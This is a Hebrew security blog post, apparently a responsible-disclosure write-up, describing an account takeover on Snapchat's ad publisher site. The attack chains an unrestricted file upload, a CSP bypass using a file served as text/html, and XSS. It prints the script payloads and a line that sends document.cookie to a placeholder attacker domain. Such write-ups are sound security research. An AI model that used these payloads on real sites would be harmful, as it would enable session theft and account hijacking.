ברוכים הבאים לאזור הבלוגים הטכנולוגיים של ITsafe

קריאה מהנה

SnapChat Account Takeover

בבלוג זה אציג את ממצא ההשתלטות על חשבונות Snapchat Web אותו מצאתי יחד עם דקלה ברדה.

על מנת לממש את ההשתלטות על החשבונות היינו צריכים לאתר XSS ב-Domain לא מוכר של Snapchat ולעקוף את הגנת ה-CSP על ידי Unrestricted File Upload.


Technical

התחלנו את המחקר על ה-domain המרכזי www.snapchat.com והגענו למסקנה שהאתר נבדק המון פעמים ויהיה מאוד קשה למצוא ליקוי אבטחה ב-domain, לכן החלטנו לנסות לחפש sub-domain מעניין שכמעט ולא נחקר על ידי סריקת כל ה-sub-domainים.

להלן רשימה חלקית:

  • snapchat.com
  • www.snapchat.com
  • blog.snapchat.com
  • app.snapchat.com
  • mail.snapchat.com
  • support.snapchat.com
  • mail2.support.snapchat.com
  • s.snapchat.com
  • v.snapchat.com
  • accounts.snapchat.com
  • go.snapchat.com
  • tr.snapchat.com
  • api.snapchat.com
  • ads.snapchat.com
  • business.snapchat.com
  • learn.snapchat.com
  • chat.snapchat.com
  • publish.snapchat.com
  • developer.snapchat.com
  • snappublisher.snapchat.com
  • link.snapchat.com
  • auth.snapchat.com
  • ops.snapchat.com
  • calendar.snapchat.com
  • se.snapchat.com
  • docs.snapchat.com

לאחר מכן כתבנו סקריפט שיעבור על כל –sub-domain וייתן לנו קצת meta data כדי לבחור sub domain אחד יחסית חדש ומעניין, כך הגענו ל:
` ads.snapchat.com
יצרנו לעצמנו 2 חשבונות והתחלנו לחקור את הפונקציונאליות של המערכת שהגענו אליה:
יצירת מודעה ב-snapchat
אחת הפונקציות שתפסה את תשומת ליבנו הייתה יצירת מודעה, לחצנו על create ועברנו לsub-domain- :
` snappublisher.snapchat.com
המטרה במחקר הייתה account take over כך שבsub-domain- הזה התחלנו לבחון כיצד מנוהל החשבון של המשתמש והיכן הוא נשמר, וזאת על מנת שנוכל להבין האם account take over אפשרי או לא.

לאחר בחינת כל האחסונים של הדפדפן ותהליך ניהול החשבון של המשתמש הגענו למסקנה שקיימות שתי עוגיות ללא HTTPOnly שתפקידן לזהות את המשתמש:
  • JSESSIONID
  • snapTicket

מה שנראה כך:
אין הגנות על העוגיות כך שהמטרה ברורה, עלינו למצוא דרך לגנוב את העוגיות הללו ולשלוח אותן אלינו על מנת להשתלט על חשבון המשתמש.

טרם התחלנו לחקור את האתר ולחפש דרך לעשות זאת החלטנו לבחון אילו הגנות יש באתר כדי לתכנן את דרך הפעולה הטובה ביותר.

בחנו את כותרי התשובה של הבקשה וראינו שבאתר קיימות ההגנות הבאות:
  • X-XSS protection
  • Content Security Policy
  • X-Frame-Option

מה שניתן לראות בתמונה הבאה:
יש הגנות מצד שרת כפי שמצויין למעלה
ניתן לראות שהאתר משתמש ב-CSP עם הגדרות ברירת מחדל כך שלבצע XSS בדרך טריוויאלית לא יהיה אפשרי.

על CSP אני מסביר לעומק בספר שלי – "סייבר ובדיקות חוסן ליישומי אינטרנט".

על מנת לעקוף CSP ובכלל לבצע XSS יהיה עלינו למצוא 2 ליקויי אבטחה:
  • 1. ליקוי אבטחה המאפשר לנו לעלות קבצים כרצוננו (unrestricted file upload)
  • 2. להשתמש בליקוי אבטחה הראשון כדי לבצע XSS.

כך התחלנו להתמקד במנגנוני העלאת הקבצים במערכת על מנת לעקוף CSP:
יצירת פרסומת ב-snapchat
לאחר בחינתו לעומק של תהליך העלאת הקבצים, מצאנו שהתהליך מורכב משני שלבים.

שלב ראשון שליחת הודעת post אשר מחזירה לנו את ה-id שהוא בעצם הנתיב לקובץ שיעלה:
מזהה ייחודי שאנו מקבלים בעת העלאת קובץ
שלב שני הוא בעצם העלאת הקובץ ל-id מהשלב הראשון:
העלאת קובץ באמצעות המזהה הייחודי
שמנו לב שאין הגבלה כלשהי על התוכן שאנו מעלים. תחילה ניסינו להעלות קובץ html אך לצערנו הוא עולה עם content-disposition attachment מה שגורם להורדת הקובץ במקום הצגתו של הקובץ על ידי הדפדפן.

ניסינו כמה סוגים שונים של קבצים עד אשר הצלחנו להעלות קובץ mp4 וב-content-type שלו כתבנו text/html, כך גרמנו לדפדפן להציג את תוכן הקובץ במקום להוריד אותו:
התמונה מוצגת כדך html
תחילה תיקנו את השגיאה של הקידוד שלא ירענן את הדף פעמיים, כפי שמופיע בהערה, על ידי הוספת התג הבא בחלק העליון של אזור הdata- בפורמט ה-mp4.
` <meta charset="UTF-8">
לאחר מכן ניסינו לעקוף את הCSP-, תחילה גרמנו לשגיאת CSP על ידי הוספת התוכן הבא לקובץ:
` <meta charset="UTF-8"><h1>test2</h1><script>alert(1)</script>
מה שהציג את השגיאה הבאה:
הדפדפן מתרגם את תגי ה-html שהכנסנו לקובץ
כידוע לנו CSP מאפשר טעינת קוד רק מה-domain המאופשר בחוקי ה-CSP ומכיוון שהגדירו כאן CSP ברירת מחדל ניתן יהיה לטעון רק קבצי סקריפט המאוחסנים על גבי אותו הדומיין.

לכן הפעם נעלה קובץ נקי עם התוכן:
` alert(1)
ונעדכן את הקוד שלנו שיפנה לקובץ הזה כדי לעקוף את הCSP-.
` <meta charset="UTF-8"><h1>test2</h1><script src="https://snappublisher.snapchat.com/api/v1/media/a5a2d905-413e-4c58-8c76-ba9d5b017df8/file/alert.js"></script>
וכך עקפנו את הCSP:
הצלחנו לבצע XSS ב-snapchat
ומכיוון שבתחילת המחקר זיהינו שהעוגיות לא מוגנות וניתן לגנוב אותן בקלות, החלפנו את הפקודה (alert(1 לקוד הבא:
` window.location="https://my-domain.com/get_cookie.php?c="+document.cookie
כל מה שנשאר לנו לעשות כעת הוא פשוט לשלוח את הלינק שיצרנו לחשבון השני שלנו וכך הצלחנו לעקוף את ה-CSP ולקבל גישה לחשבון.
כמובן ש-snapchat הגיבו באחריות ותיקנו את הממצא תוך ימים ספורים.

Share this post